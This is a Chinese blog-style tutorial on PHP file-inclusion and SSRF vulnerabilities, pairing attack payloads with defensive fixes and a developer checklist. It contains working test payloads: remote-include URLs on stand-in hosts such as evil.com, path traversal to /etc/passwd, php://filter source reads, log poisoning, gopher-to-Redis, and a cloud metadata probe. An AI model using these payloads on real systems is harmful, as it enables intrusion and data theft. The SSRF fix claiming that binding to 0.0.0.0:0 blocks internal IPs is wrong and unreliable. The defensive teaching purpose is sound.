当前位置: 首页 > ds >正文

PHP安全漏洞深度解析:文件包含与SSRF攻击的攻防实战

一、文件包含漏洞:被忽视的“致命开关”

漏洞原理
PHP的includerequire等函数在动态加载文件时,若未对路径参数做严格校验,攻击者可操控文件路径实现恶意操作:

// 危险代码示例(用户控制$_GET['page'])
include($_GET['page'] . '.php');

攻击者通过构造参数:?page=http://evil.com/shell 可执行远程恶意脚本(需allow_url_include=On)。

攻击分类

  1. 本地文件包含(LFI)
    ?page=../../etc/passwd
    可读取服务器敏感文件,甚至结合文件上传获取Webshell。
  2. 远程文件包含(RFI)
    ?page=http://attacker.com/backdoor.txt
    直接加载远程恶意代码,实现服务器沦陷。

高级利用技巧

  • 日志注入攻击:包含/var/log/apache2/access.log,在User-Agent中插入PHP代码执行

  • PHP伪协议利用

    ?page=php://filter/convert.base64-encode/resource=config.php
    

    绕过死亡exit,读取加密文件源码。


二、SSRF攻击:穿透边界的“内网匕首”

漏洞本质
服务端请求伪造(SSRF)利用服务端发起未经授权的HTTP请求,突破网络隔离攻击内网系统:

// 危险代码示例(用户控制URL参数)
file_get_contents($_GET['url']);

致命利用场景

  1. 攻击内网应用
    url=http://192.168.1.100:8080/admin/deleteAll
    删除内网管理后台数据。
  2. 协议滥用
    • file://协议:读取本地文件(?url=file:///etc/passwd
    • gopher://协议:发送任意TCP流量,攻击Redis/Memcached等

真实案例:2023年某电商SSRF→Redis RCE

攻击链:  
SSRF → 内网未授权Redis → 写SSH公钥 → 服务器Root权限丢失

三、联合攻击:文件包含+SSRF的致命组合

利用场景
当存在文件包含且allow_url_include=On时:

include($_GET['file']);  // 参数?file=http://127.0.0.1:8080

通过SSRF构造指向内网服务的URL,实现:

  1. 读取内网敏感文件(file://协议)
  2. 触发内网应用的未授权接口

四、深度防御方案:从代码到架构

文件包含漏洞修复

// 方案1:白名单控制
$allowed = ['home','news','about'];
if(in_array($_GET['page'], $allowed)) {include($_GET['page'].'.php');
} else {die('Invalid request!');
}// 方案2:禁用远程包含
; php.ini配置
allow_url_include = Off
allow_url_fopen = Off

SSRF多层次防御

// 方案1:协议白名单 + DNS重绑定防护
$parsed = parse_url($_GET['url']);
if(!in_array($parsed['scheme'], ['http','https'])) {die("Protocol forbidden!");
}// 方案2:请求目标限制(PHP 7.1+)
$context = stream_context_create(['socket' => ['bindto' => '0.0.0.0:0'], // 禁止访问内网IP'http' => ['follow_location' => false] // 禁用跳转
]);
file_get_contents($url, false, $context);

架构级防护

  1. 网络隔离:关键内网服务设置防火墙白名单
  2. 请求代理:所有出站请求经安全网关过滤
  3. 权限最小化:Web服务器用户禁止访问敏感目录

五、开发者自查清单
  1. 所有包含操作是否使用固定后缀(如.php)?
  2. 是否禁用allow_url_includeallow_url_fopen
  3. 网络请求函数是否过滤file://gopher://等危险协议?
  4. 内网服务是否开启身份认证?

深度防御箴言“永远不要信任用户输入,即使是间接输入!” 通过参数白名单、上下文隔离、纵深防御三层机制,可有效遏制此类漏洞。


附录:漏洞测试Payload

# LFI测试
?page=../../../../etc/passwd%00# SSRF测试(探测内网)
?url=http://169.254.169.254/latest/meta-data

本文提供完整防御代码示例及攻击流程图解(可联系获取),建议结合自动化扫描工具(如PHPStan)持续检测。

http://www.xdnf.cn/news/15621.html

相关文章:

  • 在新闻资讯 APP 中添加不同新闻分类页面,通过 ViewPager2 实现滑动切换
  • 网络基础协议综合实验
  • GeoTools 工厂设计模式
  • 【Linux庖丁解牛】— 保存信号!
  • SAP学习笔记 - 开发45 - RAP开发 Managed App New Service Definition,Metadata Extension
  • C++中list各种基本接口的模拟实现
  • 25、企业能源管理(Energy):锚定双碳目标,从分类管控到智能优化的数字化转型之路
  • npu-smi info命令参数解释
  • C++-linux系统编程 8.进程(三)孤儿进程、僵尸进程与进程回收
  • 数据结构之单链表
  • Java :List,LinkedList,ArrayList
  • sqli-labs靶场通关笔记:第17关 POST请求的密码重置
  • 连接new服务器注意事项
  • kiro, 新款 AI 编辑器, 简单了解一下
  • Java基础(八):封装、继承、多态与关键字this、super详解
  • 笔试——Day8
  • Scrapy扩展深度解析:构建可定制化爬虫生态系统的核心技术
  • 直播数据统计:如何让数据为我们所用?
  • CommunityToolkit.Mvvm IOC 示例
  • C++回顾 Day8
  • 一文深入:AI 智能体系统架构设计
  • 简单工厂设计模式
  • QT 中各种坑
  • 算法学习day16----Python数据结构--模拟队列
  • haproxy负载均衡
  • 【雅思播客016】New Year Resolution 新年决心
  • vue实现el-table-column中自定义label
  • 深入理解C++11 std::iota:从原理到实践
  • Oracle日期时间函数说明及与MySql区别说明
  • 028_分布式部署架构